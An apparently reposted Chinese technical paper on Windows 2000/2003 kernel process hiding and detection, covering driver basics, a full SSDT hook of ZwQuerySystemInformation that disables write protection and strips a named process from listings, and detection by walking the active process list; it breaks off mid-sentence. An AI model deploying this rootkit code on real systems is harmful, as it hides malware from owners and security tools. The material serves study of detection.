- 相关推荐
Windows2003 内核级进程隐藏、侦测技术
论文关键字: 内核 拦截 活动进程链表 系统服务派遣表 线程调度链 驱动程序简介
论文摘要:信息对抗是目前发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。
1.为什么选驱动程序
驱动程序是运行在系统信任的Ring0下在代码,她拥有对系统任何软件和硬件的访问权限。这意味着内核驱动可以访问所有的系统资源,可以读取所有的内存空间,而且也被允许执行CPU的特权指令,如,读取CPU控制寄存器的当前值等。而处于用户模式下的程序如果试图从内核空间中读取一个字节或者试图执行像MOV EAX,CR3这样的汇编指令都会被立即终止掉。不过,这种强大的底线是驱动程序的一个很小的错误就会让整个系统崩溃。所以对隐藏和反隐藏技术来说都提供了一个极好的环境。但是又对攻击者和反查杀者提出了更高的技术要求。
2.入口例程DriverEntry
DriverEntry是内核模式驱动程序主入口点常用的名字,她的作用和main,WinMain,是一样的。
extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{...}
DriverEntry的第一个参数是一个指针,指向一个刚被初始化的驱动程序对象,该对象就代表你的驱动程序,DriverEntry的第二个参数是设备服务键的键名。DriverEntry函数返回一个NTSTATUS值。NTSTATUS实际就是一个长整型,但你应该使用NTSTATUS定义该函数的返回值而不是LONG,这样代码的可读性会更好。大部分内核模式支持例程都返回NTSTATUS状态代码,你可以在DDK头文件NTSTATUS.H中找到NTSTATUS的代码列表。
DriverEntry的作用主要就是创建设备对象,建立设备对象的符号链接,设置好各个类型的回调函数等。
例如:
extern "C"
NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = DriverUnload; <--1
DriverObject->DriverExtension->AddDevice = AddDevice;
DriverObject->DriverStartIo = StartIo;
DriverObject->MajorFunction[IRP_MJ_PNP] = DispatchPnp; <--2
DriverObject->MajorFunction[IRP_MJ_POWER] = DispatchPower;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = DispatchWmi;
...
}
在WDM中通过设置AddDevice回调函数来创建设备对象。在NT驱动中在DriverEntry例程中创建设备对象和符号链接。
例如:
RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer); //初始化设备名字
//创建设备
ntStatus = IoCreateDevice (DriverObject,
0,
&deviceNameUnicodeString,
##DeviceId,
0,
FALSE,
&deviceObject
);
if ( NT_SUCCESS ( ntStatus ) ) {
RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer); //初始化符号链接名字
//创建符号链接
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString);
if ( !NT_SUCCESS ( ntStatus ) ) {
IoDeleteDevice (deviceObject); //如果创建符号链接失败,删除设备
return ntStatus;
}
}
建立符号链接的作用就是暴露一个给应用程序的接口,应用程序可以通过CreateFile API打开链接符号,得到一个语柄,和我们的驱动程序进行交互操作。
3.Unload例程
虽然各个驱动程序的Unload例程不尽相同,但是它大致执行下列工作:
释放属于驱动程序的任何硬件。
从Win32的名字空间移除符号连接名。
这个动作可以调用IoDeleteSymbolicLink来实现。
使用IoDeleteDevice移除设备对象。
释放驱动程序持有的任何缓冲池等。
VOID DriverUnload ( IN PDRIVER_OBJECT pDriverObject )
{
PDEVICE_OBJECT pNextObj;
// 循环每一个驱动过程控制的设备
pNextObj = pDriverObject->DeviceObject;
while (pNextObj != NULL)
{
//从设备对象中取出设备Extension
PDEVICE_EXTENSION pDevExt = (PDEVICE_EXTENSION)extObj->DeviceExtension;
// 取出符号连接名
UNICODE_STRING pLinkName = pDevExt->ustrSymLinkName;
IoDeleteSymbolicLink(&pLinkName); //删除符号连接名
IoDeleteDevice(pNextObj); // 删除设备
pNextObj = pNextObj->NextDevice;
}
}
4. 派遣例程
Win2000的I/O请求是包驱动的,当一个I/O请求开始,I/O器先创建一个IRP去跟踪这个请求,另外,它存储一个功能代码在IRP的I/O堆栈区的MajorField域中来唯一的标识请求的类型。MajorField域是被I/O管理器用来索引驱动程序对象的MajorFunction表,这个表包含一个指向一个特殊I/O请求的派遣例程的功能指针,如果驱动 程序不支持这个请求,MajorFunction表就会指向I/O器函数_IopInvalidDeviceRequest,该函数返回一个错误给原始的调用者。驱动程序的作者有责任提供所有的驱动程序支持的派遣例程。所有的驱动程序必须支持IRP_MJ_CREATE功能代码,因为这个功能代码是用来响应Win32用户模式的CreateFile调用,如果不支持这功能代码,Win32程序就没有办法获得设备的句柄,类似的,驱动程序必须支持IRP_MJ_CLOSE功能代码,因为它用来响应Win32用户模式的CloseHandle调用。顺便提一下,系统自动调用CloseHandle函数,因为在程序退出的时候,所有的句柄都没有被关闭。
static NTSTATUS MydrvDispatch (IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS status;
PIO_STACK_LOCATION irpSp;
//得到当前IRP (I/O请求包)
irpSp = IoGetCurrentIrpStackLocation( Irp );
switch (irpSp->MajorFunction)
{
case IRP_MJ_CREATE:
DbgPrint("IRP_MJ_CREATE\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
break;
case IRP_MJ_CLOSE:
DbgPrint("IRP_MJ_CLOSE\n");
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0L;
break;
}
IoCompleteRequest(Irp, 0);
return STATUS_SUCCESS;
}
大部分的I/O管理器的操作支持一个标准的读写提取,IRP_MJ_DEVICE_CONTROL允许扩展的I/O请求,使用用户模式的DeviceIoControl函数来调用,I/O管理器创建一个IRP,这个IRP的MajorFunction和IoControlCode是被DeviceIoControl函数指定其内容。传递给驱动程序的IOCTL遵循一个特殊的结构,它有32-bit大小,DDK包含一个方便的产生IOCTL值的机制的宏,CTL_CODE。可以使用CTL_CODE宏来定义我们自己的IOCTL。
例如:
#define IOCTL_MISSLEDEVICE_AIM CTL_CODE \
( FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ACCESS_ANY )
NTSTATUS DispatchIoControl( IN PDEVICE_OBJECT pDO, IN PIRP pIrp )
{
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_EXTENSION pDE;
PVOID userBuffer;
ULONG inSize;
ULONG outSize;
ULONG controlCode; // IOCTL请求代码
PIO_STACK_LOCATION pIrpStack; //堆栈区域存储了用户缓冲区信息
pIrpStack = IoGetCurrentIrpStackLocation( pIrp );
// 取出IOCTL请求代码
controlCode = pIrpStack-> Parameters.DeviceIoControl.IoControlCode;
// 得到请求缓冲区大小
inSize = pIrpStack-> Parameters.DeviceIoControl.InputBufferLength;
OutSize = pIrpStack-> Parameters.DeivceIoControl.OutputBufferLength;
//现在执行二次派遣
switch (controlCode)
{
case IOCTL_MISSLEDEVICEAIM:
......
case IOCTL_DEVICE_LAUNCH:
......
default: // 驱动程序收到了未被承认的控制代码
status = STATUS_INVALID_DEVICE_REQUEST;
}
pIrp->IoStatus.Information = 0; // 数据没有传输
IoCompleteRequest( pIrp, IO_NO_INCREMENT ) ;
return status;
}
5.驱动程序的安装
SC管理器(即服务控制管理器)可以控制服务和驱动程序。
加载和运行一个服务需要执行的典型操作步骤:
1.调用OpenSCManager()以获取一个管理器句柄
2.调用CreateService()来向系统中添加一个服务
3.调用StartService()来运行一个服务
4.调用CloseServiceHandle()来释放管理器或服务句柄
BOOL InstallDriver()
{
SC_HANDLE hSCManager = NULL;
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if(hSCManager == NULL)
{
fprintf(stderr, "OpenSCManager() failed. --err: %d\n", GetLastError());
return FALSE;
}
SC_HANDLE schService;
schService = CreateService( hSCManager, //SCManager database
"MyDriver", // name of service
"MyDriver", // name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_KERNEL_DRIVER, // service type
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
DriverPath, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL // no password
);
if (schService == NULL)
{
if(GetLastError() == ERROR_SERVICE_EXISTS)
{
printf("Service has already installed!\n");
}
printf("Install driver false!");
return FALSE;
}
BOOL nRet = StartService(schService, 0, NULL);
if(!nRet)
{
if(GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
{
printf("Service is already running!\n");
return FALSE;
}
}
CloseServiceHandle(schService);
CloseServiceHandle(hSCManager);
return TRUE;
}
以上对驱动程序大致框架做了一个非常简单的介绍,这仅仅是驱动程序中的一个”Hello World!”。驱动程序是相当复杂的,由于我们只是利用驱动程序的特权,对windows内核进行修改,所以就不对驱动驱动程序进行深入讨论了。
通过Hook SSDT (System Service Dispath Table) 隐藏进程
1.原理介绍:
Windows操作系统是一种分层的架构体系。应用层的程序是通过API来访问操作系统。而API又是通过ntdll里面的核心API来进行系统服务的查询。核心API通过对int 2e的切换,从用户模式转换到内核模式。2Eh中断的功能是通过NTOSKRNL.EXE的一个函数KiSystemService()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到EAX寄存器中。把指向参数区的指针被保存在EDX寄存器中。中断调用后,EAX寄存器保存了返回的结果。KiSystemService()是根据EAX的值来决定哪个函数将被调用。而系统在SSDT中维持了一个数组,专门用来索引特定的函数服务地址。在Windows 2000中有一个未公开的由ntoskrnl.exe导出的KeServiceDescriptorTable变量,我们可以通过它来完成对SSDT的访问与修改。KeServiceDescriptorTable对应于一个数据结构,定义如下:
typedef struct SystemServiceDescriptorTable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系统服务程序的地址(SSDT),ParameterTableBase则指向SSPT中的参数地址,它们都包含了NumberOfService这么多个数组单元。在windows 2000 sp4中NumberOfService的数目是248个。
我们的任务器,是通过用户层的API来枚举当前的进程的。Ring3级枚举的方法:
• PSAPI
– EnumProcesses()
• ToolHelp32
– Process32First()
- Process32Next()
来对进程进行枚举。而她们最后都是通过NtQuerySystemInformation来进行查询的。所以我们只需要Hook掉NtQuerySystemInformation,把真实NtQuerySystemInformation返回的数进行添加或者是删改,就能有效的欺骗上层API。从而达到隐藏特定进程的目的。
2. Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引号是0x97,所以只需要把SSDT中偏移0x97*4处把原来的一个DWORD类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的Hook函数的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《Undocument Nt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl 导出的 ZwQuerySystemInformation中包含有索引号的硬编码:
kd> u ZwQuerySystemInformation
804011aa b897000000 mov eax,0x97
804011af 8d542404 lea edx,[esp+0x4]
804011b3 cd2e int 2e
804011b5 c21000 ret 0x10
所以只需要把ZwQuerySystemInformation入口处的第二个字节取出来就能得到相应的索引号了。例如:
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;
3.对NtQuerySystemInformation返回的数据进行删改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
IN ULONG SystemInformationClass, //查询系统服务类型
IN PVOID SystemInformation, //接收系统信息缓冲区
IN ULONG SystemInformationLength, //接收信息缓冲区大小 OUT PULONG ReturnLength); //实际接收到的大小
NtQuerySystemInformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过SystemInformationClass号来区分功能,当SystemInformationClass等于5的时候是在进行进程的查询。此时返回的SystemInformation 是一个 _SYSTEM_PROCESSES结构。
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //下一个进程信息的偏移量,如果为0表示无一个进程信息
ULONG ThreadCount; //线程数量
ULONG Reserved[6]; //
LARGE_INTEGER CreateTime; //创建进程的时间
LARGE_INTEGER UserTime; //进程中所有线程在用户模式运行时间的总和
LARGE_INTEGER KernelTime; //进程中所有线程在内核模式运行时间的总和
UNICODE_STRING ProcessName; //进程的名字
KPRIORITY BasePriority; //线程的缺省优先级
ULONG ProcessId; //进程ID号
ULONG InheritedFromProcessId; //继承语柄的进程ID号
ULONG HandleCount; //进程打开的语柄数量
ULONG Reserved2[2]; //
VM_COUNTERS VmCounters; //虚拟内存的使用情况
IO_COUNTERS IoCounters; //IO操作的统计,Only For 2000
struct _SYSTEM_THREADS Threads[1]; //描述进程中各线程的数组
};
当NextEntryDelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。
4. 核心实现
//系统服务表入口地址
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
……
__asm{
mov eax, cr0
mov CR0VALUE, eax
and eax, 0fffeffffh //DisableWriteProtect
mov cr0, eax
}
//取得原来ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );
//Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
//EnableWriteProtect
__asm
{
mov eax, CR0VALUE
mov cr0, eax
}
……
return STATUS_SUCCESS;
}
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
……
//UnHook恢复系统服务的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;
……
}
NTSTATUS HookFunc(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
struct _SYSTEM_PROCESSES *curr;
// 保存上一个进程信息的指针
struct _SYSTEM_PROCESSES *prev = NULL;
//调用原函数
rc = (RealZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
//如果系统查询类型是SystemProcessesAndThreadsInformation
{
curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
//加第一个偏移量得到第一个system进程的信息首地址
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
while(curr)
{
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)
{
//找到要隐藏的进程
if(prev)
{
if(curr->NextEntryDelta)
{
//要删除的信息在中间
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
//要删除的信息在末尾
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
//要删除的信息在开头
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
//如果链下一个还有其他的进程信息,指针往后移
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta); else
{
curr = NULL;
break;
}
}
if(curr != NULL)
{
//把当前指针设置成前一个指针,当前指针后移
prev = curr;
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
else curr = NULL;
}
} // end while(curr)
}
}
return rc;
}
通过IOCTL和Ring3级的应用程序通过DeviceIoControl(API)交互信息。Ring3级的用户程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,& BytesReturned,NULL)来通知驱动程序要隐藏的进程的名字。
枚举和修改活动进程链表来检测和隐藏进程
1. 介绍EPROCESS块(进程执行块)
每个进程都由一个EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。
2. 查看EPROCESS结构
kd> !processfields
!processfields
EPROCESS structure offsets:
Pcb: 0x0
ExitStatus: 0x6c
LockEvent: 0x70
LockCount: 0x80
CreateTime: 0x88
ExitTim e: 0x90
LockOwner: 0x98
UniqueProcessId: 0x9c
ActiveProcessLinks: 0xa0
QuotaPeakPoolUsage[0]: 0xa8
QuotaPoolUsage[0]: 0xb0
PagefileUsage: 0xb8
CommitCharge: 0xbc
PeakPagefileUsage: 0xc0
PeakVirtualSize: 0xc4
VirtualSize: 0xc8
Vm: 0xd0
DebugPort: 0x120
ExceptionPort: 0x124
ObjectTable: 0x128
Token: 0x12c
WorkingSetLock: 0x130
WorkingSetPage: 0x150
ProcessOutswapEnabled: 0x154
ProcessOutswapped: 0x155
AddressSpaceInitialized: 0x156
AddressSpaceDeleted: 0x157
AddressCreationLock: 0x158
ForkInProgress: 0x17c
VmOperation: 0x180
VmOperationEvent: 0x184
PageDirectoryPte: 0x1f0
LastFaultCount: 0x18c
VadRoot: 0x194
VadHint: 0x198
CloneRoot: 0x19c
NumberOfPrivatePages: 0x1a0
NumberOfLockedPages: 0x1a4
ForkWasSuccessful: 0x182
ExitProcessCalled: 0x1aa
CreateProcessReported: 0x1ab
SectionHandle: 0x1ac
Peb: 0x1b0
SectionBaseAddress: 0x1b4
QuotaBlock: 0x1b8
LastThreadExitStatus: 0x1bc
WorkingSetWatch: 0x1c0
InheritedFromUniqueProcessId: 0x1c8
GrantedAccess: 0x1cc
DefaultHardErrorProcessing 0x1d0
LdtInformation: 0x1d4
VadFreeHint: 0x1d8
VdmObjects: 0x1dc
DeviceMap: 0x1e0
ImageFileName[0]: 0x1fc
VmTrimFaultValue: 0x20c
Win32Process: 0x214
Win32WindowStation: 0x1c4
3. 什么是活动进程链表
EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY机构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。
在PspCreateProcess内核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。
在PspExitProcess内核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我们完全可以利用活动进程链表来对进程进行枚举。
4. 进程枚举检测Hook SSDT隐藏的进程。
事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得PsActiveProcessHead的地址为: 0x8046e460.(在2000 sp4中得到的值)
kd> dd PsActiveProcessHead L 2
dd PsActiveProcessHead L 2
8046e460 81829780 ff2f4c80
PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;
void DisplayList()
{
PLIST_ENTRY List = PsActiveProcessHead->Blink;
while( List != PsActiveProcessHead )
{
char* name = ((char*)List-0xa0)+0x1fc;
DbgPrint("name = %s\n",name);
List=List->Blink;
}
}
首先把List指向表头后的第一个元素。然后减去0xa0,因为这个时候List指向的并不是EPROCESS块的头,而是指向的它的ActiveProcessLinks成员结构,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要减去这么多,得到EPROCESS的头部。在EPROCESS偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在Dbgview中打印出来。利用Hook SSDT隐藏的进程很容易就被查出来了。
5. 解决硬编码问题。
在上面我们的PsActiveProcessHead是通过硬编码的形式得到的,在不同的系统中这值不一样。在不同的SP版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个PsActiveProcessHead的硬编码的问题。
ntoskrnl.exe导出的PsInitialSystemProcess 是一个指向system进程的EPROCESS。这个结构成员EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.
kd> dd PsInitialSystemProcess L 1
dd PsInitialSystemProcess L 1
8046e450 818296e0
kd> !process 818296e0 0
!process 818296e0 0
PROCESS 818296e0 SessionId: 0 Cid: 0008 Peb: 00000000 ParentCid: 0000
DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.
Image: System
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.
kd> dd 818296e0+0xa0 L 2
dd 818296e0+0xa0 L 2
81829780 814d1a00 8046e460
上面又可以看出S
【Windows 内核级进程隐藏、侦测技术】相关文章:
Windows05-28
经济全球化进程中的新世纪世界格局05-30
网络直播技术前沿技术探析05-08
通信技术论文11-21
篮球投篮技术11-30
电子技术论文11-03
Video Object编码技术05-29